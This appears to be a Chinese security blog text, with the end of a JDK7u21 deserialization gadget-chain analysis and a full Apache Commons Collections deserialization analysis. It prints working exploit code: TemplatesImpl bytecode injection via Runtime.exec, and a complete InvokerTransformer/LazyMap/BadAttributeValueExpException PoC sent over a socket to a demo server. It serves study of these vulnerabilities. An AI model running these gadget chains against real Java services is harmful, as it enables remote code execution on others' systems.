pool.get(StubTransletPayload.class.getName()); // 在静态的的构造方法中插入payload clazz.makeClassInitializer() .insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); // 给payload类设置一个名称 // unique name to allow repeated execution (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); // 获取该类的字节码 final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance Reflections.setFieldValue( templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); // 只要触发这个方法就能执行我们注入的bytecodes // templates.getOutputProperties(); return templates; } 相关的说明在注释中已经给出了，通过精心构造一个TemplatesImpl对象，并且想办法触发该对象的getOutputPropertites()方法，就能执行我们构造的命令。 0x02 动态代理 Java中的动态代理十分灵活，只需要为一组接口指定好InvocationHandler对象，那么调用接口方法的时候，将会被转派到handler对象的invoke方法，在这个方法中可以通过反射执行原方法，也可以做一些其他的操作。 所有的Handler类都需要实现InvocationHandler这个接口，当我们通过代理对象调用某个方法的时候，这次调用就会被转派到Handler的invoke方法，该函数签名如下： Object invoke(Object proxy, Method method, Object[] args) throws Throwable proxy: 是被代理的真实对象 method: 要调用的真实对象方法的Method对象 args: 调用真实对象方法时的参数 当创建好InvocationHandler对象后，就可以通过Proxy.newProxyInstance方法来创建动态代理，该方法签名如下： public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h) throws IllegalArgumentException loader: 定义由哪个ClassLoader对象来对生成的代理对象进行加载 interfaces: Interface对象的数组，表示将要给需要代理的对象提供的一组什么接口 h: InvocationHandler对象，表示当目前这个动态代理对象在调用方法的时候，应当关联到哪一个InvocationHandler对象上 来看一个动态代理的例子： // 需要实现的接口 interface ISubject { public void hello(String str); } // 实际的需要被代理的对象 class SubjectImpl implements ISubject { public void hello(String str) { System.out.println("SubjectImpl.hello(): " + str); } } // Handler对象 class Handler implements InvocationHandler { private Object subject; public Handler(Object subject) { this.subject = subject; } public Object invoke(Object object, Method method, Object[] args) throws Throwable { System.out.println("before!"); method.invoke(this.subject, args); System.out.println("after!"); return null; } } public class DynamicProxy { public static void main(String[] args) { SubjectImpl subject = new SubjectImpl(); InvocationHandler tempHandler = new Handler(subject); // 创建代理 ISubject iSubject = (ISubject) Proxy.newProxyInstance(ISubject.class.getClassLoader(), new Class<?>[] {ISubject.class}, tempHandler); iSubject.hello("world!"); } } 当代理创建完成后，我们调用iSubject.hello方法时，会被分配到invoke方法执行；输出如下： before! SubjectImpl.hello(): world! after! 0x03 漏洞分析 说了这么多，我们来一起分析一下这个漏洞，这个PoC是在ysoserial中的payload基础上修改而来的，可能会比较易懂，先贴上PoC的主要部分： public Object getObject(final String command) throws Exception { // 生成恶意的templates，想办法触发templates.getOutputProperties();方法 Object templates = Gadgets.createTemplatesImpl(command); String zeroHashCodeStr = "f5a5a608"; // 创建一个新的HashMap HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo"); // 创建代理使用的handler，AnnotationInvocationHandler作为动态代理的handler // 代理创建完成后，所有调用被代理对象的方法都会调用AnnotationInvocationHandler的invoke方法 Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; ctor.setAccessible(true); InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map); // 创建代理 // 后续所有调用Templates接口的方法会全部转派到tempHandler.invoke方法 Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler); Reflections.setFieldValue(templates, "_auxClasses", null); Reflections.setFieldValue(templates, "_class", null); LinkedHashSet set = new LinkedHashSet(); // maintain order set.add(templates); // 存储了恶意java字节码数据的TemplatesImpl类对象 set.add(proxy); // 代理了Templates接口的对象 map.put(zeroHashCodeStr, templates); // set中存储了最终的payload，只需要反序列化这个就可以触发了 return set; } 大部分的代码上都写了一些注释，整体应该能看懂，接下来就仔细分析一下到底是如何触发命令执行的了。 HashSet其实本质上就是一个HashMap<key, new Object()>，key是我们存进去的数据，而value就是静态的Object对象。 当LinkedHashSet被反序列的时候，会调用其父类HashSet的readObject方法。 根据这一部分的逻辑，可以看出来在反序列化的时候，会依次将templates和proxy加入到map中，继续跟进put方法： 有一处很关键的比较，就是图中打了断点的475行，这里我们需要继续触发key.equals(k)方法，前面的判等我们暂且不谈，先继续向下跟进。由于我们代理了templates接口，当调用到templates.equals()的时候，自然会调用到handler的invoke方法，这里也就是会调用proxy.equals(templates)方法。 继续跟进equalsImpl方法，会发现这个方法会依次调用Templates的每一个方法，（如果不太理解的话可以在这里下断单步跟一下），所以会调用到我们前面提到的Templates.getOutputProperties()方法，进而造成命令执行。 到这里整个流程已经走通了，整体的调用链也就像这样，引用一下漏洞作者的图： 简化一下就是下面这样子： LinkedHashSet.readObject() HashSet.readObject() HashMap.put() templates.equals() AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.equalsImpl() Method.invoke() TemplatesImpl.getOutputProperties() 至于为什么调用TemplatesImpl.getOutputProperties()就能执行命令，各位同学可以自行跟一下，漏洞作者也给出了调用链，并不是很难理解，这里就不再展开说明了。 0x04 绕过hash 刚刚我们提到了一个很重要的判断，想要利用equals方法必须绕过前面的hash判等。 e.hash == hash && ((k = e.key) == key || key.equals(k)) 为了调用到最后的key.equals方法，根据逻辑短路原理（如果不知道啥是短路原理请自行google），必须让e.hash == hash为true，并且(k = e.key) == key为false。 当执行到put(proxy)的时候，map里实际上已经有第一个templates，这里的hash就是proxy.hashCode，e.hash就是templates.hashCode，也就是需要达成proxy.hashCode() == templates.hashCode()这个条件。 templates.hashCode()比较好说，这个类没有重写，调用的是默认的hashCode方法。当调用proxy.hashCode()的时候，则会跳到AnnotationInvocationHandler.invoke()方法，再来看一下这个方法是如何处理hashCode()方法的。 在48行调用了this.hashCodeImpl()方法，继续跟进后发现该方法会从memberValues中进行遍历，并且依次计算key.hashCode()，而这个memberValues是我们在初始化AnnotationInvocationHandler的时候传入的： // 创建一个新的HashMap HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo"); // 没有这行也OK // 创建代理使用的handler，AnnotationInvocationHandler作为动态代理的handler // 代理创建完成后，所有调用被代理对象的方法都会调用AnnotationInvocationHandler的invoke方法 Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; ctor.setAccessible(true); InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map); ... map.put(zeroHashCodeStr, templates); 这个map的key就是我们设置的特殊字符串『f5a5a608』，而这个字符串的hashCode是0，可以说是非常有意思了。而整个看起来很长的循环，实际上也就变成了 var1 += 127 * (0 ^ entry.getValue().hashCode()) 那这个value是啥呢，就是我们构造的templates。整个hash计算就变成了templates.hashCode()，所以proxy.hashCode() == templates.hashCode()也就成立了，如果不理解的话还是建议各位同学手动调试一下。 第二个条件e.key == key是很明显的不同的，一个是templates，另一个是proxy，所以这个条件是false，最终会调用到equals方法。 0x05 总结 && 参考 至此整个漏洞已经分析完了，后续Java的修复方案我们放在分析JDK8u20的时候一并来讲。这个漏洞利用了Java的许多机制，调试完了感觉思路扩宽了许多，还是要继续学习。完整的POC我会放在GitHub上。 https://gist.github.com/frohoff/24af7913611f8406eaf3 https://blog.csdn.net/u011721501/article/details/78607633 https://github.com/frohoff/ysoserial/blob/e9f112ac50ef4fad5a5858068162cc6987cf9121/src/main/java/ysoserial/payloads/Jdk7u21.java http://drops.the404.me/637.html
[Java unserialization] ApacheCommonsCollections 反序列化漏洞分析
0x00 CommonsCollections 上篇文章讲道了Spring-tx组件出现的问题，通过构造RMI和JNDI来供服务端下载恶意class并通过反序列化进行RCE，这次研究一下另外一种漏洞，利用Java的反射机制来执行任意命令，并且通过反序列化来进行RCE。本次分析的漏洞则是2015年出现的Apache-commons-collections组件出现的反序列化问题，这个包为Java提供了很多基础常用且强大的数据结构，方便开发。 0x01 TransformedMap 看网上的大佬们说这次出现的问题是由于TransformedMap和InvokerTransformer造成的。 TransformedMap这个类是用来对Map进行某些变换用的，例如当我们修改Map中的某个值时，就会触发我们预先定义好的某些操作来对Map进行处理。 Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer); 通过decorate函数就可以将一个普通的Map转换为一个TransformedMap。第二个参数和第三个参数分别对应当key改变和value改变时需要做的操作；Transformer是一个接口，实现transform(Object input)方法即可进行实际的变换操作，按照如上代码生成transformedMap后，如果修改了其中的任意key或value，都会调用对应的transform方法去进行一些变换操作。 如果想要进行一系列的变换操作，可以通过定义一个ChainedTransformer来实现，只需要传入一个Transformer数组即可： Transformer[] transformers = new Transformer[] { new ConstantTransformer(...), new InvokerTransformer(...) }; Transformer chainedTransformer = new ChainedTransformer(transformers); Map transMap = TransformedMap.decorate(rawMap, null, chainedTransformer); CommonCollections也已经内置了许多常见的transformer，无需手工编写，其中有一个InvokerTransformer十分有趣，可以通过反射的方式去调用任意的函数，也是我们执行命令的关键。 0x02 Run exec 在Java中执行命令一般通过Runtime.getRuntime().exec("command")来执行命令，如果我们想在修改transformedMap时执行命令，就需要构造一个特殊的ChainedTransformer来反射出exec函数。 在构造之前，我们要先看一下ChainedTransformer和InvokerTransformer是如何工作的，下面的代码会触发chainedTransformer开始进行变换： Map normalMap = new HashMap(); normalMap.put("foo", "bar"); Map transformMap = TransformedMap.decorate(normalMap, transformChain, transformChain); Map.Entry entry = (Map.Entry) transformMap.entrySet().iterator().next(); entry.setValue("test"); 最终会调用到org/apache/commons/collections/functors/ChainedTransformer.class中的transform方法。 可以看到这个链中，会将上一次变换的结果作为下一次变换的输入，直到所有的变换完成，并返回最终的object，很容易理解，就不过多赘述了。 下面来看下InvokerTransformer的关键代码 关键部分在于通过getClass()、getMethod、invoke()来进行反射，查找并调用给定的方法。 在我们构造的chain中，最终实现的应当是执行类似于 ((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("ifconfig") 这样的代码，所以chain的第一步就是获取Runtime类，可以通过内置的ConstantTransformer来获取，所以chain现在是这个样子： Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class) }; Transformer transformChain = new ChainedTransformer(transformers); 接下来就是通过InvokerTransformer来反射调用getMethod方法，参数是getRuntime，以此来获取到Runtime.getRuntime。InvokerTransformer接受三个参数，分别是调用方法的名称，参数类型，调用参数。所以第一个参数就应当为getMethod；而getMethod方法的签名为getMethod(String, Class...)，我们实际用的时候也只传入了一个String，所以第二个参数应当写为new Class[] {String.class, Class[].class}，第三个参数则为调用getMethod时候实际传入的参数，所以应当为new Object[] {"getRuntime", new Class[0]}就可以了。 到这里chain已经是这个样子了： Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}) }; Transformer transformChain = new ChainedTransformer(transformers); 紧接着我们按照同样的方法构造出调用invoke和exec的InvokerTransformer，整个chain就完成了。 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"}) }; Transformer transformChain = new ChainedTransformer(transformers); 我们只要构造一个使用此chain的TransformedMap，就可以执行命令了，可以通过下面的代码来进行测试： // 创建普通的Map Map normalMap = new HashMap(); normalMap.put("foo", "bar"); // 将普通的Map变成TransformedMap，并且指定变换方式为前面定义的恶意chain Map transformMap = TransformedMap.decorate(normalMap, transformChain, transformChain); // 尝试修改TransformedMap中的一个值，成功执行命令 Map.Entry entry = (Map.Entry) transformMap.entrySet().iterator().next(); entry.setValue("test"); 执行结果如下 0x03 RCE? 到目前为止，我们已经构造出了可以执行命令的恶意chain，姑且称之为pocChain。现在只要找到一个符合以下条件的类，并且服务端有反序列化的入口，就可以RCE了： 该类重写了readObject方法； 该类在readObject方法中操作了我们序列化后实现了pocChain的TransformedMap； 看了网上很多的文章，均提到了AnnotationInvocationHandler类，其中有一个变量memberValues是Map类型，并且这个变量可以在构造函数中设置，除此之外，还在readObject方法中对memberValues中的每一项调用了setValues方法。一切简直完美，完全符合刚才说到的条件，但是在我实际的调试中发现，为什么不弹计算器，为什么AnnotationInvocationHandler的代码和大佬们的代码不一样，附上我这里的代码： 多篇文章中提到的setValues方法失踪了，搜了很多篇资料后，具体原因还是不太清楚，姑且认为是JDK1.8的原因吧，所以我们需要找一个其他的类来完成我们的调用链；后来在网上找到了ysoserial这个项目，惊喜的发现其中的CommonsCollections5这个payload可以完美运行，于是对着这个poc疯狂调试，终于找到了一个调用链。 0x04 RCE! CommonCollections5中利用的是BadAttributeValueExpException这个类，不妨先看下这个类的代码： package javax.management; import java.io.IOException; import java.io.ObjectInputStream; public class BadAttributeValueExpException extends Exception { /* Serial version */ private static final long serialVersionUID = -3105272988410493376L; /** * @serial A string representation of the attribute that originated this exception. * for example, the string value can be the return of {@code attribute.toString()} */ private Object val; /** * Constructs a BadAttributeValueExpException using the specified Object to * create the toString() value. * * @param val the inappropriate value. */ public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } /** * Returns the string representing the object. */ public String toString() { return "BadAttributeValueException: " + val; } private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { // the serialized object is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } } } 通读一下代码，非常简单，其中有一个私有变量val，而且重写了readObject方法，如果我们通过序列化传入的val是个LazyMap，那么在其中调用valObj.toString()的时候会去调用LazyMap.get()中的transform函数。 梳理一下到目前为止的思路： 构造一个BadAttributeValueException对象exception -> exception的val变量设置为LazyMap的entry -> 调用entry的toString将其转为字符串 -> 调用LazyMap的get方法获取一个不存在的key -> 调用transform方法执行命令 转换成调用链就是： BadAttributeValueException.readObject -> TiedMapEntry.toString -> LazyMap.get -> ChainedTransformer.transform 所以我们先来构造一下恶意的Map: Map innerMap = new HashMap(); innerMap.put("foo", "bar"); Map lazyMap = LazyMap.decorate(innerMap, transformChain); lazyMap.get("foo233"); 这里传入了一个不存在的键foo233，当调用entry.getValue()去尝试获取这个不存在的键对应的值时，会通过transformChain来创建对应的值并且放到Map中。但是我们不能这么写，需要通过类似『延迟计算』的特性，让其在序列化以后并且在toString的时候再去获取不存在的键以触发payload。所以这里引入了另外的一个类TiedMapEntry，他和普通的entry比较类似，但是可以将一个键和entry进行绑定，在需要的时候直接调用getValue()方法即可； Map innerMap = new HashMap(); innerMap.put("foo", "bar"); Map lazyMap = LazyMap.decorate(innerMap, transformChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo233"); 接下来的工作就是构造一个BadAttributeValueExpException对象并序列化，这里有个骚操作，就是如何给私有的变量赋值。 BadAttributeValueExpException exception = new BadAttributeValueExpException(null); Field valField = exception.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(exception, entry); exception就是我们最终构造好的对象，将其序列化后存入文件，读取出来并反序列化的时候就会执行命令。除了这一条调用链外，还有很多其他的调用链可以使用，包括CommonsCollections3和CommonCollections6，感兴趣的同学可以自己调试一下PoC，但是这里有个坑。 我调试的时候使用的是IDEA，在调试模式下，IDE会不断的计算每个变量的值，正是因为这个特性，IDE会『帮』我们提前执行PoC，从而导致在没有走到漏洞触发点的时候就已经弹计算器了，所以在调试的时候要格外细心，防止走错路。 比如这张图，断点下在构造exception的时候，但是我们的PoC已经执行了，其原因就是IDE调试功能中的自动计算导致的。 0x05 DEMO // filename: Server.java package me.lightless; import java.io.ObjectInputStream; import java.net.ServerSocket; import java.net.Socket; public class Server { public static void main(String[] args) { try { ServerSocket serverSocket = new ServerSocket(9999); System.out.println("Server started on port " + serverSocket.getLocalPort()); while (true) { Socket socket = serverSocket.accept(); System.out.println("Connection received from " + socket.getInetAddress()); ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream()); try { Object object = objectInputStream.readObject(); System.out.println("Read object " + object); } catch (Exception e) { System.out.println("Exception caught while reading object"); e.printStackTrace(); } } } catch (Exception e) { e.printStackTrace(); } } } // filename: POC.java package me.lightless; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.FileInputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.Socket; import java.util.HashMap; import java.util.Map; public class POC { public static void main(String[] args) throws Exception { // ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("payload.bin")); // objectInputStream.readObject(); // objectInputStream.close(); Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"}), new ConstantTransformer("1") }; Transformer transformChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo233"); BadAttributeValueExpException exception = new BadAttributeValueExpException(null); Field valField = exception.getClass().getDeclaredField("val"); // System.out.println("val field: " + valField); valField.setAccessible(true); valField.set(exception, entry); Socket socket=new Socket("127.0.0.1", 9999); ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream()); objectOutputStream.writeObject(exception); objectOutputStream.flush(); } } 0xff 参考文献 https://security.tencent.com/index.php/blog/msg/97 https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/ https://github.com/frohoff/ysoserial